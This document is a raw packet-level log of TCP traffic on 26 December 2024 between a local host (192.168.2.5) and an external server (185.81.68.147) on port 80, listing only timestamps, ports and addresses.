Dec 26, 2024 12:05:07.003768921 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.003789902 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.003829956 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.006864071 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.006939888 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.006993055 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.007046938 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.010013103 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.010087013 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.010108948 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.010185003 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.013170004 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.013286114 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.013360977 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.016282082 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.016304016 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.016361952 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.019335985 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.019428968 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.019480944 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.019551039 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.022485018 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.022541046 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.022617102 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.025625944 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.025727034 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.025791883 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.028724909 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.028790951 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.028831959 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.028891087 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.031663895 CET	49709	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.031833887 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.031896114 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.031922102 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.031966925 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.034987926 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.035054922 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.035136938 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.035196066 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.035650015 CET	80	49709	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.035741091 CET	49709	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.035901070 CET	80	49709	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.035952091 CET	49709	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.038214922 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.038244963 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.038300991 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.041284084 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.041371107 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.041436911 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.044356108 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.044425964 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.044434071 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.044477940 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.047472954 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.047530890 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.047558069 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.047611952 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.050575972 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.050723076 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.050749063 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.050765038 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.053710938 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.053823948 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.053914070 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.056839943 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.056915045 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.057003975 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.057044029 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.059931993 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.060053110 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.060105085 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.063071012 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.063141108 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.063165903 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.063209057 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.066160917 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.066246033 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.066250086 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.066294909 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.069291115 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.069364071 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.069391966 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.069437981 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.072371006 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.072467089 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.072541952 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.075499058 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.075597048 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.075695038 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.078630924 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.078722954 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.078732014 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.078769922 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.081783056 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.081845045 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.081862926 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.081903934 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.084824085 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.084916115 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.084945917 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.084996939 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.087945938 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.088048935 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.088088989 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.088201046 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.091058016 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.091146946 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.091185093 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.091234922 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.094199896 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.094497919 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.094568014 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.097305059 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.097393036 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.097419024 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.097567081 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.100415945 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.100502014 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.100534916 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.100588083 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.103544950 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.103678942 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.103710890 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.103768110 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.106686115 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.106765032 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.106842041 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.109805107 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.109913111 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.109939098 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.109994888 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.112909079 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.112986088 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.113080978 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.113128901 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.116023064 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.116151094 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.116156101 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.116189003 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.119144917 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.119242907 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.119251966 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.119301081 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.122243881 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.123534918 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.162487984 CET	49710	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.200865984 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.200884104 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.200896025 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.200907946 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.201069117 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.201070070 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.201117992 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.201194048 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.201241970 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.203372002 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.203419924 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.203457117 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.203507900 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.205591917 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.205641985 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.205679893 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.205727100 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.207842112 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.208076954 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.208131075 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.210011959 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.210063934 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.210138083 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.210184097 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.212181091 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.212217093 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.212265968 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.214217901 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.214270115 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.214308977 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.214350939 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.216324091 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.216439009 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.216490030 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.218466997 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.218523979 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.218558073 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.218602896 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.220469952 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.220566034 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.220619917 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.222997904 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.223062038 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.224077940 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.227406025 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.227420092 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.227473021 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.228969097 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.229120016 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.229165077 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.230922937 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.230968952 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.231106997 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.231153011 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.231519938 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.231533051 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.231570005 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.232547998 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.232588053 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.232608080 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.232651949 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.234544992 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.234587908 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.234672070 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.234711885 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.236455917 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.236577988 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.236649990 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.237525940 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.237587929 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.237627029 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.237688065 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.238692999 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.238753080 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.238804102 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.238847017 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.239694118 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.239830017 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.239887953 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.240778923 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.240833044 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.240878105 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.240925074 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.241883039 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.241944075 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.241971970 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.242014885 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.242990971 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.243060112 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.243069887 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.243118048 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.244048119 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.244117022 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.244173050 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.245151997 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.245209932 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.245244980 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.245294094 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.246216059 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.246270895 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.246288061 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.246340036 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.247317076 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.247380018 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.247412920 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.247454882 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.248389959 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.248503923 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.248559952 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.249509096 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.249572039 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.249607086 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.249655008 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.251351118 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.251413107 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.252249956 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.254030943 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.255537033 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.255558968 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.255570889 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.255589008 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.255614042 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.255661964 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.256145000 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.256158113 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.256201029 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.257323980 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.257335901 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.257386923 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.258438110 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.258450031 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.258510113 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.259447098 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.259514093 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.259582043 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.259625912 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.260564089 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.260576010 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.260629892 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.261555910 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.261614084 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.261703014 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.261787891 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.262645006 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.262696981 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.262788057 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.262834072 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.263839006 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.263978004 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.264033079 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.264830112 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.264878035 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.265006065 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.265055895 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.266006947 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.266060114 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.266212940 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.266258955 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.267086029 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.267132998 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.267385006 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.267431021 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.268249989 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.268261909 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.268306971 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.268721104 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.268732071 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.268752098 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.268758059 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.268769979 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.268801928 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.269062996 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.269135952 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.269180059 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.270123005 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.270169973 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.282043934 CET	80	49710	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.283608913 CET	49710	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.283718109 CET	49710	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.403342009 CET	80	49710	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.406558990 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.406605005 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.406609058 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.406652927 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.407021046 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.407057047 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.407156944 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.407196999 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.408054113 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.408093929 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.408478975 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.408518076 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.408587933 CET	80	49708	185.81.68.147	192.168.2.5
